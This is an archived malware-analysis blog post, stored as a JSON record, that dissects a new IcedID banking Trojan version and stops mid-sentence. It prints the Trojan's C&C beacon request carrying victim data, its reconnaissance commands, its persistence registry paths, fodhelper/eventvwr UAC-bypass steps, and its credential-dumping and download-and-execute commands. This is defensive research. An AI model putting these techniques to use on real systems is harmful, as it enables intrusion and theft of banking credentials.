{
	"id": "f67fe3c1-3134-4f87-a484-4a2e9cba27b9",
	"created_at": "2026-05-05T02:45:55.248927Z",
	"updated_at": "2026-05-05T02:46:37.116343Z",
	"deleted_at": null,
	"sha1_hash": "7bedc3239a6f4efa27de13c99b9dd9b2f5ea6e66",
	"title": "IcedID: new malware version",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3580313,
	"plain_text": "IcedID: new malware version\r\nArchived: 2026-05-05 02:23:15 UTC\r\nWhat did malware analysts think when they first heard the words IcedID and BokBot? Undoubtedly things like:\r\nweb injects, proxy servers, quick version updates… The updates were sometimes so fast that while analysts were\r\nstudying the current version, a new one would emerge. Do you know what feature has been added to this list? A\r\nsteganography downloader. But what if I told you that, in the new version, not only the main IcedID module is\r\nhidden in an image, but also its configuration files? Have I sparked your interest? Let’s take a closer look at the\r\nnew malware version.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 1 of 32\n\nIcedID was first described in November 2017 by IBM X-Force researchers. At the time, the application boasted a\r\nwide range of features (proxy server, web injects, large RAT arsenal, VNC module, etc.), which was continuously\r\nevolving. Group-IB Threat Intelligence team published an article (available in Russian only) about this banking\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 2 of 32\n\nTrojan in August 2018, but it has since learned new tricks, including using steganography to hide configuration\r\ndata in the file system and network traffic. This method is described in detail below.\r\nBased on the Trojan’s configuration data, its main targets have remained the same: U.S. bank customers.\r\nThere has been an unusual deviation from this, however: telecommunications (AT\u0026T) and mobile\r\ncommunications (T-Mobile) companies are also on the target list. A non-exhaustive list of the Trojan’s targets\r\nincludes the following:\r\nAmazon.com\r\nAmerican Express\r\nAT\u0026T\r\nBank Of America\r\nCapital One\r\nChase\r\nCIBC\r\nComeriсa\r\nDell\r\nDiscover\r\nDollar Bank\r\neBay\r\nErie Bank\r\nE-Trade\r\nFrost Bank\r\nHalifax UK\r\nHancock Bank\r\nHuntington Bank\r\nJ.P. Morgan\r\nLloyds Bank\r\nM\u0026T bank\r\nCentennial Bank\r\nPNC\r\nRBC\r\nCharles Schwab\r\nSunTrust Bank\r\nSynovus\r\nT-Mobile\r\nUnion Bank\r\nUSAA\r\nUS Bank\r\nVerizon Wireless\r\nWells Fargo\r\nIt’s time to proceed to the most interesting part – the Trojan research.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 3 of 32\n\nDistribution\r\nThe Trojan is actively monitored by the cybersecurity community around the world. If you search Twitter for the\r\n#IcedID and #BokBot tags, you will find a considerable number of tweets about how and when the Trojan’s last\r\ncampaign was carried out. Probably the most interesting recent news about the Trojan was the appearance of a\r\nnew stage-downloader Like its previous version, it downloads an image in which the old version, the second-stage\r\ndownloader, is hidden. A description of the new downloader by researchers.\r\nWe therefore will not get into the details of how the downloader works, but will focus on the whole infection\r\npattern instead:\r\n1. A malicious document is delivered to the victim’s device.\r\n2. The document is downloaded and launches the first stage: the downloader from the article mentioned\r\nabove\r\n3. The first-stage downloader gets an image from the C\u0026C server and extracts the second stage downloader\r\nfrom the image. It then saves and launches the second-stage downloader.\r\n4. The second-stage downloader also downloads an image from the C\u0026C server (although the address may be\r\ndifferent), extracts IcedID’s main module, and launches it. This last part is described in detail below.\r\nAn example can be found here. With all questions hopefully answered, let’s move on to the second stage.\r\nDownloader/Loader: the second-stage downloader\r\nThe downloader obtains the main module and launches it. The second stage downloader could be an .EXE or a\r\n.DLL file. There are no functional differences between the two versions, however. Let’s examine how the main\r\nmodule is obtained and launched by the example of a DLL downloader.\r\nThe downloader is a DLL file with the exported function DllRegisterServer(), which goes into Sleep() for 1\r\nsecond in a loop until the completion flag is set. As described below, the new version of the downloader is\r\nlaunched within the regsvr32.exe process, and the above exported function is required for it to run correctly.\r\nAll the fun happens in the DllEntryPoint() function. The downloader itself is a relatively small application that\r\nperforms the following actions:\r\n1. The downloader reads the image file on infected device that contains the IcedID core. The first time that the\r\ndownloader is started on an infected device, that image will not be there.\r\n2. The downloader accesses the C\u0026C addresses (the list is stored in the downloader’s body in encrypted form) and\r\nobtains the payload. The request looks like this:\r\nhttps://\u003c%CnC%\u003e /image/?id=01BE0F1DE50272A7E400000000000040000010\r\nLet’s briefly describe the above values :\r\n01: a hardcoded value.\r\nBE0F1DE5: a hardcoded value that will subsequently be passed to the IcedID core. Hereinafter, it will be\r\nreferred to as the “downlaoder identifier”.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 4 of 32\n\n0272A7E4: a timestamp.\r\n00000000000040000010: information about the processor and the code execution time. Based on this\r\nvariable, the server can determine whether the downloader is being debugged to prevent researches\r\nreceived the IcedID core.\r\nIn response, the server sends an image containing a shellcode and the core.\r\n3. The downloader saves the file. The algorithm for generating file names is described below.\r\n4. The downloader decrypts the payload obtained. The format in which the encrypted data is stored is also\r\ndescribed below. The payload includes a header, the shellcode, and the IcedID core. The downloader retrieves the\r\nentry point’s address from the header (the address is stored at offset 8) to the shellcode and transfers control to it.\r\n5. The shellcode starts the svchost.exe process (in some samples analyzed, the process was different, e.g.\r\nmsiexec.exe) in suspended mode using the following functions:\r\nNtAllocateVirtualMemory\r\nZwWriteVirtualMemory\r\nNtProtectVirtualMemory\r\nNtQueueApcThread\r\nIt then injects itself into a new process and starts.\r\n6. The shellcode deploys the IcedID core in the svchost.exe context and transfers control to it.\r\nIn case the process sounds complicated, its visualization is provided below:\r\nThe figure should offer some clarity. Let’s move on to something more interesting – the description of the Trojan.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 5 of 32\n\nIcedID core\r\nLaunch preparation\r\nBefore describing how the Trojan works, it is worth specifying in what format the Trojan stores strings, variables,\r\nfiles, and other data. This should help understand the article. Readers who are not interested in these details can\r\nscroll down to the “Just after launch” section. Let’s start.\r\nBotID generation\r\nThe Trojan generates BotID, a variable that it can use in almost all further algorithms for generating file names,\r\nmutexes, registry keys, and more. Unlike the old version of IcedID, the new one uses the well-known fnv32\r\nhashing algorithm to generate BotID. BotID is a hash value from the string representation of the user’s SID.\r\nString generation\r\nUnlike previous versions, the new one uses the classic C++ random number generation function as part of which\r\nthe counter has an internal state. This means that, in order to generate the same string, it is enough to initialize the\r\ncounter with the same value. To generate strings that must be the same for each start (e.g. directory names, config\r\nfiles, registry keys), IcedID uses BotID as the initialization value. If the hacker is not planning on reusing the\r\nstring, the rdtsc instruction’s output will be used as the initialization value. It is not necessary to examine the sting\r\ngeneration algorithm in detail, but let’s highlight the key points:\r\n1. The strings can be generated as either GUIDs or “classic” strings.\r\n2. To generate “classic” strings, the following is used:\r\nThe alphabet pairs aeiou and bcdfghjklmnpqrstvwxyz. Each character pair belongs to one of these\r\ndisjoint alphabets (e.g. if the first character belongs to the first algorithm, then the next character in\r\nthe substring must be from the second one).\r\nOptionally, a character pair from the alphabet abcedfikmnopsutw can be added. However, the\r\nindexes of these characters are calculated based on the substring obtained during the previous stage\r\ninstead of being generated by the pseudorandom number generator (PRNG). This is an essential\r\nfeature and we will return to later.\r\nOptionally, integer values can be added to the end of the generated string: 1, 2, 3, 4, 32, 64.\r\n3. Two nested directories rather than just one can be created to store files that the attacker is interested in. The\r\ninfected user’s name can be also used to generate the directory path.\r\nString encryption\r\nImportant strings (e.g. log strings, function parameter strings) are encrypted using a custom algorithm. They can\r\nbe decrypted easily using the following Python script:\r\ndef decrypt_string(ciphertext):\r\ncurrent_key = struct.unpack('I', ciphertext[:4])[0]\r\nlength = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) \u0026 0xFFFF\r\nciphertext = ciphertext[6:]\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 6 of 32\n\nplaintext = ''\r\n \r\nfor index in range(length):\r\n current_key = (index + ((current_key \u003c\u003c 25) | (current_key \u003e\u003e 7))) \u0026 0xFFFFFFFF\r\n plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) \u0026 0xF\r\n \r\nreturn plaintext\r\nIt is important to note that shift values may be different depending on the Trojan version.\r\nChecksum calculation\r\nThe algorithm below is used to verify the integrity of configuration data and to implement SSL pinning:\r\nStorage of global variables\r\nThe values of some variables must be saved every time the program is launched, and the Trojan saves these in the\r\nregistry. Each variable corresponds to a string value, which is a variable name. The variables are read in four\r\nstages:\r\n1. A custom hash value of the variable name is calculated:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 7 of 32\n\n2. Using WinApi, an MD5 hash value of the variable name and its hash value is computed:\r\n3. The application generates a path to the variable in the registry:\r\nHKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{%GUID%}\r\nwhere %GUID% is the above MD5 value in GUID format. Thereafter, the Trojan reads data from the registry\r\nalong this path.\r\n4. Data received from the registry is decrypted using the following algorithm:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 8 of 32\n\nwhere customRandom is the following:\r\ndef custom_random(seed):\r\nfor _ in range(3):\r\n seed = ror(seed)\r\nseed ^= 0x9257\r\nfor _ in range(3):\r\n seed = rol(seed)\r\nseed = (seed + 0x29B6) \u0026 0xFFFFFFFF\r\nseed = ror(seed)\r\nseed = (seed + 0xF411) \u0026 0xFFFFFFFF\r\nseed = rol(seed)\r\nseed = (seed - 0x8668) \u0026 0xFFFFFFFF\r\nseed = seed ^ 0xFFFFFFFF\r\nseed = (seed - 0x8260) \u0026 0xFFFFFFFF\r\nreturn seed\r\nThe bot variable is saved in the reverse order: data is first encrypted and only then added to the registry. If you\r\nread Group-IB’s previous article about this Trojan, you haven’t noticed a lot of changes.\r\nWhile analyzing the malware, the following variables were found:\r\n#lf – log-filter\r\n#ke – kill edge\r\n#dr – url list, with signature\r\n#dm – url list, without signature\r\nUpon receiving a command from the C\u0026C server, the global variable’s value can be added or removed. This is\r\nhow the list of C\u0026C servers is updated. Speaking of C\u0026C, after the Trojan has read and decrypted the global\r\nvariable (#dr), the malware verifies the signature. That’s right, the Trojan has a built-in public key:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 9 of 32\n\nStorage of configuration data\r\nIcedID stores configuration data in separate encrypted files. The process of generating the names of the files and\r\nof the directory in which they are stored is described above. The main distinctive feature of the Trojan’s new\r\nversion is that configs are stored in .png images. That’s right: in the current version, both the main module and\r\nconfiguration files are hidden using steganography. Let’s take a closer look at the format that is used to store the\r\npayload in images.\r\nEach image contains an object that has the following structure:\r\nstruct StegData\r\n{\r\nint ciphertextLen;\r\nint magic;\r\nint plaintextChecksum;\r\nbyte keyLen;\r\nchar[keyLen] key;\r\nchar[ciphertextLen];\r\n};\r\nExample:\r\nThe encryption algorithm is RC4. In some cases (e.g. config files), the image does not contain a key, so BotID acts\r\nas a key.\r\nA few words about config files: After they are decrypted, you can view the following:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 10 of 32\n\nAs you can see from the image, the magic string “zeus” has remained.\r\nLogging\r\nIf even carefully designed programs can fail, so can banking Trojans. The developer understood this and therefore\r\nadded logging at almost every stage. Logging is disabled by default, but it can be enabled by changing the special\r\nglobal variable #lf at the C\u0026C server’s command. Log filter is an integer variable in which the first three bits\r\nindicate the type of events that need to be logged:\r\n[INFO]\r\n[WARN]\r\n[ERROR]\r\nThe variable also tells the Trojan in which modules events must be logged.\r\nEvents are logged in a separate section of the memory that, again upon command, can be uploaded to the server.\r\nDuring further analysis, the log strings will help us more than once.\r\nJust after launch\r\nFirst, the Trojan generates BotID and collects information about the infected device, which it subsequently sends\r\nto the C\u0026C server. The prediction I made in the first article about the Trojan has proved correct: The main module\r\nnow also checks whether the program is being run on a virtual machine in two ways:\r\nIt uses the instruction rdtsc (as well as cpuid and the SwitchToThread function for accuracy) to measure the\r\ncode execution time 15 times.\r\nIt compares the first four characters of the processor’s Vendor ID with the following values:\r\nVMwa\r\nXenV\r\nMicr\r\nKVMK\r\nLrp\r\nVBox\r\nInterestingly, confirmation of a launch on a virtual machine affects only the launch of the BC module (described\r\nbelow). At the same time, the module will not start only if the system does not pass the timing checks, while\r\nVendorID values are ignored. Perhaps this function is still being tested and will be improved in the future so as to\r\neffectively stop the Trojan on an infected device. As it stands, the check is rather weak and barely affects the\r\nprogram’s operation.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 11 of 32\n\nHaving obtained BotID and information about the system, the Trojan feels dark forces awaken within itself. It\r\nunderstands that, from now on, the history that unfolds must be preserved for the future… In other words, from\r\nthis stage onwards the bot logs its actions. But before the first line is written to a clean piece of memory, the\r\nTrojan attempts to obtain the value of the global variable #lf. For example, the first message might be:\r\n[00:11:40] 2252| [INFO] bot.init \u003e core init ver=20 pid=1234 id=456 ldr_ver=3\r\nThe message tells us that, according to the Trojan’s developers, the downloader version is 4 and the core version is\r\nalready 21.\r\nNext, the Trojan uses its typical pattern to prevent itself from being twice launched on the device: It creates a\r\nmutex (the process of generating the mutex name string is described above). If the mutex has already been created,\r\nthe Trojan will terminate its operation. A small note: Before creating a mutex, the application accesses an event\r\nwith a different name, which is created when the Trojan’s downloader is updated. Thanks to this event, IcedID’s\r\nnew process waits until the old one is completed to carry out its dirty work.\r\nThe dirty work begins with ensuring persistence on the infected device. The application first checks the file name.\r\nReaders who didn’t skip the “String generation” section may remember that one of the features highlighted was\r\nthe addition of two characters from the alphabet abcedfikmnopsutw, the indexes to which are generated based on\r\nthe previous substring. In fact, the Trojan re-generates an index and compares the file name’s last two characters\r\nwith the template value. If the file passes the check, no further action is required. If this is the Trojan’s first launch,\r\nhowever, the application creates a directory (or two, depending on BotID) in %APPDATA% or\r\n%LOCALAPPDATA%, copies the downloader file to the directory created, deletes the old file, and then adds a\r\nnew task using the ITaskService COM interface:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 12 of 32\n\nIf it fails to create a task, the application will achieve persistence the old-fashioned way by adding itself to the\r\nregistry key. The registry value name is the same as the task name. In the analyzed case:\r\nThe registry key: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\nThe registry value: meayjiduge_{94D3BBC9-24EA-411F-066A-A604B94A99DA}\r\nContents: a path to the downloader file.\r\nIt should be noted that the IcedID downloader could be either .exe or .dll. In the latter case, the downloader starts\r\nthrough regsvr32.exe, which means that the following path will be written in the task (registry):\r\nregsvr32.exe /s “C:\\Users\\\u003c%Username%\u003e\\AppData\\Local\\lepuan\\odnu\\olniyueu3.dll”\r\nHaving installed itself in the system, the application initializes a list of C\u0026C servers in two stages:\r\n1. Initialization of a list based on the parameters passed by the downloader\r\n2. Initialization of a list from the global variables\r\nThe second point should be described in more detail to ensure clarity. There are two global variables: #dm (stores\r\na list of C\u0026C servers without a signature) and #dr (stores a signed list of C\u0026C servers). The variable #dm is used\r\noptionally; it seems that this function was created for testing purposes.\r\nApart from the list of C\u0026C servers, the application downloads configuration files, which are now hidden in .png\r\nimages (i.e. developers have replaced conventional encryption with steganography + encryption). IcedID has two\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 13 of 32\n\nconfig files used by the proxy server (as described below) to perform MitM attacks:\r\nMain: contains a list of web injects (in the first article, this list was named cfg0)\r\nSys: contains “grab” and “ignore” lists (cfg1)\r\nAt this stage, as all preparations have been completed and the Trojan is ready to operate, it’s time to release the\r\nKraken launch three main program flows (hereinafter referred to as the “modules”): Alive, Hooker, and BC.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 14 of 32\n\nhttps://www.group-ib.com/blog/icedid\r\nPage 15 of 32\n\nAs mentioned previously, the BC module does not start if the environment has not passed the timing check (a VM\r\ndetection method). Each module is described in detail below. This completes the Trojan initialization process and\r\nthe main thread goes into an endless Sleep().\r\nAlive module\r\nThis module regularly connects to the server so that the latter knows that the bot is still alive and ready to receive\r\ncommands. Before starting, the bot “falls asleep” for a minute, then goes into an endless loop of connecting to the\r\nserver. The bot connects the server every 5 minutes (although this value can be changed at the server’s command).\r\nSo, what does the request look like? Let’s consider an example:\r\nGET /audio/?z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZ\r\nj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3M\r\nyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NS\r\nUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RC\r\nUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMC\r\nU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMC\r\nU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLj\r\nc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTA\r\nwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJ\r\nnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQz\r\nODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1\r\nConnection: Keep-Alive\r\nHost: \u003c%CnC%\u003e\r\nAs you can see from the request, the most relevant data is Base64-encoded. After decoding, an interesting string is\r\nobtained:\r\n\u0026a=195951310\u0026b=3131948783\u0026c=20\u0026d=0\u0026e=1\u0026f=0\u0026g=0\u0026j\r\n=0000DEADFACE\u0026m=%54%00%65%00%73%00%74%00%43%\r\n00%6F%00%6D%00%70%00%75%00%74%00%65%00%72%00\r\n%6E%00%61%00%6D%00%65%00\u0026p=%54%00%65%00%73%\r\n00%74%00%44%00%6F%00%6D%00%61%00%69%00%6E%0\r\n0%6E%00%61%00%6D%00%65%00\u0026k=3\u0026n=4\u0026o=6.1.7601.1.3\r\n2.1\u0026l=%54%00%65%00%73%00%74%00%55%00%73%00%65\r\n%00%72%00%6E%00%61%00%6D%00%65%00\u0026w=8192\u0026q=3\r\n\u0026u=16343\u0026r=3735928559\u0026s=3735943886\u0026t=57005\u0026h=\u003c%pgid%\u003e\u0026i=\u003c%gid%\u003e\u0026v=404\r\nThis is the information that the Trojan sends to the C\u0026C server. As you can see from the example, the string\r\nvalues (all in UNICODE) are URL-encoded. Data highlighted in blue is information transmitted during the first\r\nconnection only, i.e. registration data. Data highlighted in black is information present in all requests. Data\r\nhighlighted in red is optional information and is included in a request only if the Trojan was able to obtain the\r\nvalue of the corresponding variable. Speaking of variables, their values are as follows:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 16 of 32\n\nVariable Value\r\na Downloader ID\r\nb Bot ID\r\nc IcedID main module version\r\nd The integer value that the main module obtains from the downloader\r\ne Request type, 1: registration, 0: a regular request\r\nf Request subtype\r\ng Request flags\r\nj\r\nThe network device’s MAC address. The amount of such entries depends on the amount of\r\nnetwork devices.\r\nm Computer name. In the example being analyzed: TestComputername\r\np\r\nThe name of the domain in which the device is located. In the example being analyzed:\r\nTestDomainname\r\nk Integer value\r\nn An integer value that contains information about the launch on a virtual machine\r\no OS Information\r\nl Username. In the example being analyzed: TestUsername\r\nw Integer value. Information is obtained from the user SID\r\nq Downloader version\r\nu Timestamp\r\nr Sys config checksum\r\ns Main config checksum\r\nt C\u0026C list checksum\r\nh\r\nThe string value that the application obtains from the downloader and marks as pgid.\r\nUnfortunately, despite analyzing several versions of the Trojan, Group-IB specialists were unable\r\nto obtain the value.\r\ni\r\nThe string value that the application obtains from the downloader and marks as gid.\r\nUnfortunately, despite several versions of the Trojan, Group-IB specialists were unable to obtain\r\nthe value.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 17 of 32\n\nVariable Value\r\nv The value of the GetLastError function when opening the downloader file.\r\nIn response, the server sends a packet containing a fast command and parameters, separated by the character “;”.\r\nBefore processing the command, the application scans the response for the following substrings and replaces them\r\nwith the corresponding values:\r\n#gid# – a string value that the main module receives from the downloader\r\n#pgid# – a string value that the main module receives from the downloader\r\n#id# – bot ID\r\n#pid# – downloader ID\r\n#domain # – C\u0026C\r\nfront:// – replaces it with https://\u003c%C\u0026C%\u003e\r\nLet’s quickly describe fast commands:\r\nCommand Description Action\r\n1 update pack\r\nUpdates the image in which the main IcedID module is hidden. After the\r\napplication downloads its new version and saves the image, the program\r\nstarts a new downloader process. The old version kills itself.\r\n2\r\nupdate\r\ndownloader\r\nUpdates the downloader. After the application downloads the image and\r\nachieves persistence, it starts a new downloader process. The old version\r\nkills itself.\r\n3 update urllist\r\nUpdates the C\u0026C list. After checking the signature, the application encrypts\r\nthe C\u0026C list and saves it to the global variable #dr.\r\n4\r\nupdate sys\r\nconfig\r\nUpdates the config file containing the grab list (cfg1). After saving the file,\r\nthe list in the Trojan will be updated accordingly.\r\n5\r\nupdate main\r\nconfig\r\nUpdates the config file containing the list of web injects (cfg0). After\r\nsaving the file, the list in the Trojan is updated accordingly.\r\n6 alive force\r\nSends an alive request immediately. Optionally, a registration request can\r\nbe re-sent.\r\n7\r\nset alive\r\ntimeout\r\nChanges the period of connection to the server. The new value is passed as\r\na parameter.\r\n8 get log Sends log data to the server.\r\n9 set log filter\r\nChanges the value of the log filter. The value is passed as a parameter. It is\r\nwritten to the global variable #lf and updated in the application.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 18 of 32\n\nCommand Description Action\r\n10 var set\r\nChanges the value of a global variable. The name of the variable and its\r\nvalue are passed as a parameter.\r\n11 var get\r\nObtains the value of a global variable. The application obtains the variable\r\nname as a parameter.\r\n12 var del\r\nDeletes a global variable. The application obtains the variable name as a\r\nparameter.\r\n13 get process list Sends a list of running processes to the server.\r\n14 desk link\r\nObtains a list of files on the desktop. For .lnk files, it also writes the path to\r\nthe file it refers to. Work with .lnk files is carried out using the IShellLinkA\r\nCOM interface.\r\n15 Sysinfo Collects information about the infected device and sends it to the server.\r\n16 Exec\r\nTo start the process, the application obtains the path to the executable file as\r\na parameter.\r\n17 Dlexec\r\nDownloads and executes the file. The application obtains the download\r\naddress and startup arguments as parameters. The file is saved either in the\r\n%TEMP% directory or in the c:\\ProgramData\\ directory.\r\n18 run cli Starts the process and sends the process results to the server.\r\n19 run shellcode\r\nDownloads a shellcode, injects it into the new cmd.exe process, and\r\nexecutes it.\r\n20 Reboot Reboots the device.\r\n21 file search\r\nFinds a file by template that is passed as a parameter and sends it to the\r\nserver.\r\n22 file get\r\nSends a specific file to the server. The application obtains the file name as a\r\nparameter.\r\n23 dump pass\r\nExtracts saved passwords from Credential Manager, Outlook, Internet\r\nExplorer, Winmail, Google Chrome, and Firefox, then sends them to the\r\nserver.\r\n24 dump cookie Extracts cookie data and sends it to the server.\r\n25 DlExecAdmin\r\nSimilar to dlexec. However, the application is run while bypassing the\r\nUAC. If IcedID does not have sufficient privileges and is launched as a\r\nnormal user.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 19 of 32\n\nCommand Description Action\r\n26 run bc Runs the BC module.\r\nLet’s consider some of the above commands in more detail:\r\nupdate – commands. The address from which an image should be downloaded is passed as a parameter.\r\nThe image contains an RC4-encrypted payload.\r\nsysinfo. The application collects information about the infected system by running the following processes\r\nand saving the output:\r\ncmd /c chcp\r\nWMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get *\r\n/Format:List\r\nipconfig /all\r\nsysteminfo\r\nnet config workstation\r\nnltest /domain_trusts\r\nnltest /domain_trusts /all_trusts\r\nnet view /all /domain\r\nnet view /all\r\nDlExecAdmin. The UAC can be bypassed in two ways:\r\n1. Using the fodhelper.exe utility. The application creates a new registry key HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command, to which it adds two values:\r\nDelegateExecute – empty\r\n(default) – contains a path to the executable file downloaded from the server.\r\nAfter that, the application launches fodhelper.exe. This leads to a payload being launched while bypassing the\r\nUAC.\r\n2. Using the eventvwr.exe utility. The application creates a new registry key\r\n(HKCU\\Software\\Classes\\mscfile\\shell\\open\\command) to which it adds a path to the payload file to the\r\nstandard value. After that, the application runs eventvwr.exe.\r\nLastly, I’d like to tell you about an interesting feature that I noticed at the last moment. The Trojan’s author\r\ndeveloped a rather unusual SSL-pinning method. Before establishing a connection, the application uses the\r\nWinHttpSetStatusCallback() function to set a handler for the\r\nWINHTTP_CALLBACK_STATUS_REQUEST_SENT event (triggers after data was successfully sent to the\r\nserver) and the WINHTTP_CALLBACK_STATUS_SENDING_REQUEST event (triggers before sending data\r\nto the server). However, the processing function itself ignores all events except for\r\nWINHTTP_CALLBACK_STATUS_SENDING_REQUEST. When an event is triggered, the application\r\nretrieves data about the server certificate from the request, computes the checksum of the server’s public key, and\r\ncompares the resulting value with the certificate’s serial number. If they match, the application recognizes that the\r\nserver is valid; otherwise, it terminates the connection.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 20 of 32\n\nThe function looks like this:\r\nHooker module\r\nLike any modern banking Trojan, IcedID can be used to carry out MiTM attacks. The hooker module is\r\nresponsible for this task. The module’s operation can be divided into three main parts:\r\nGenerates a self-signed certificate\r\nDeploys a proxy server\r\nInjects a custom module into a browsing context\r\nLet’s discuss each part in detail.\r\nGeneration of a self-signed certificate\r\nThese days, the most “delicious” data for banking Trojans is transmitted via HTTPS. Such data cannot be obtained\r\nby simply sniffing traffic between the victim’s browser and the bank’s server, for example – all data is secured\r\nwith SSL. However, the developers found a way out of this situation by installing their own certificates. But\r\ncertificates need to be generated first. IcedId uses the following string to generate certificates:\r\nC=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=(c) 2006 VeriSign, Inc. – For authorized use\r\nonly; CN=VeriSign Class 3 Public Primary Certification Authority – G5\r\nRing any bells? Of course – it’s the Certificate Subject! Signing a certificate requires a public-private key pair. It\r\nis generated using the CryptoAPI function CryptGenKey(), while MD5(\u003c%BotId%\u003e\u003c%Certificate\r\nSubject%\u003e) is used as a key container name. The certificate itself is built with the\r\nCertCreateSelfSignCertificate() function, using the SHA1 and RSA duo (the key pair created earlier), and\r\ninformation about the publisher. The certificate is created for three years, starting from exactly one year earlier\r\nand up to two years in advance. If the Trojan fails to generate a certificate for any reason, it has a plan B: a\r\ncertificate and a key prepared in advance and encrypted in the body that it loads and uses instead of the failed one.\r\nDid you think that was all? No. The Trojan uses the generated self-signed certificate only to sign a second\r\ncertificate, which will be used to conduct the MiTM attack. The line below is used as information about the\r\npublisher:\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 21 of 32\n\nCN=.com\r\nThe procedure for generating a certificate (including the container name) is similar to generating the root\r\ncertificate, except that the certificate is now signed with the key of the previously generated/imported certificate.\r\nIf anything goes wrong again, the key and encrypted certificate prepared in advance and stored in the body of the\r\nTrojan are both loaded.\r\nIt is important to note that the Trojan creates a certificate store in the %TEMP%/\u003c%BotId%\u003e.tmp file, where it\r\nplaces the certificate. As a result, during the next launch, the Trojan will not need to generate or import the\r\ncertificate again, but simply retrieve it from the store.\r\nServer start\r\nAfter generating the certificate, the application starts listening on port \u003c%BotId%\u003e % 14000 – 15536. Its next\r\nsteps depend on the Main and Sys configs. Our previous article described traffic processing in detail and provided\r\na link to Python scripts used to parse configs. No significant changes have been found in this regard, so let’s move\r\non to the next part.\r\nBrowser patching\r\nSo, the Trojan has deployed its own server with its own certificate. What else is left to do? Oh, yes: make\r\nbrowsers redirect all requests to this proxy server and “trust” the generated certificate. To do so, IcedID scans the\r\nlist of running applications for a browser in an infinite loop with a second-long interval. The search is carried out\r\nusing the process name checksum, which is calculated as follows:\r\nIt then compares the search results with the following hardcoded values:\r\n0x9EFDE0C4 – firefox.exe\r\n0x9F96A0E0 – microsoftedgecp.exe\r\n0x534B083E – iexplore.exe\r\n0x7A257A14– chrome.exe\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 22 of 32\n\nIn general, the checksum calculation algorithm did not change across the different versions of the banking Trojan\r\nin question. The constant 0x801128AF was different, however, which means that the process name checksums\r\nwould be different for other versions of the Trojan as well. Apart from checksum comparison, IcedID also\r\ncompares the process name with template values, character by character:\r\nIf the names match, the Trojan injects its code into the browsing context. It can inject into any browser except\r\nMicrosoft Edge. Moreover, if the global variable #ke is present on the infected device, the bot will kill the\r\nmicrosoftedgecp.exe process. It seems that the Trojan’s developers failed to figure out how to infect this browser.\r\nOr they just don’t like it.\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 23 of 32\n\nBefore patching a browser, the application checks if the browser has been already infected. The application has a\r\nlist of infected PIDs. What’s more, after the infection has been successful, the injected IcedID module code creates\r\nan event with the name \u003c%generated_eventname%\u003e_\u003c%browser_pid%\u003e in the browser process. If there is no\r\nevent with this name, the process is not infected. This must be fixed!\r\nWhat follows might be a little tedious, but bear with me. In its body, the main IcedID module contains an\r\nexecutable file designed to install hooks on functions that are of interest to the Trojan. Let’s call it a hooker.\r\nHowever, like the main module, this file is stored in the Trojan’s body in its own format and does not have a PE\r\nheader. Information about entry point, sections, etc. is located in a custom header. Before infecting the browser\r\nprocess, the Trojan “deploys” certain sections in its own process, after which it allocates two memory areas in the\r\nbrowsing context. In the first area, as you may have guessed, the deployed hooker is copied. The arguments\r\nrequired to start the interceptor (including the proxy port) are copied to the second area. After that, the Trojan uses\r\nthe CreateRemoteThread() function to create a malicious thread in the browsing context.\r\nThis is where the fun begins. In the browsing context, the hooker first fixes import, after which it creates a\r\npreviously mentioned event: \u003c%generated_eventname%\u003e_\u003c%browser_pid%\u003e. The hook installation process\r\ncan be demonstrated more clearly in the figures below. The connect() function is used as an example:\r\nAs you can see from the example, the application simply installs a jmp instruction at the beginning of the\r\nintercepted function on its own handler (classic…!). Depending on the browser, the malicious module installs\r\nhttps://www.group-ib.com/blog/icedid\r\nPage 24 of 32\n\nhooks on different 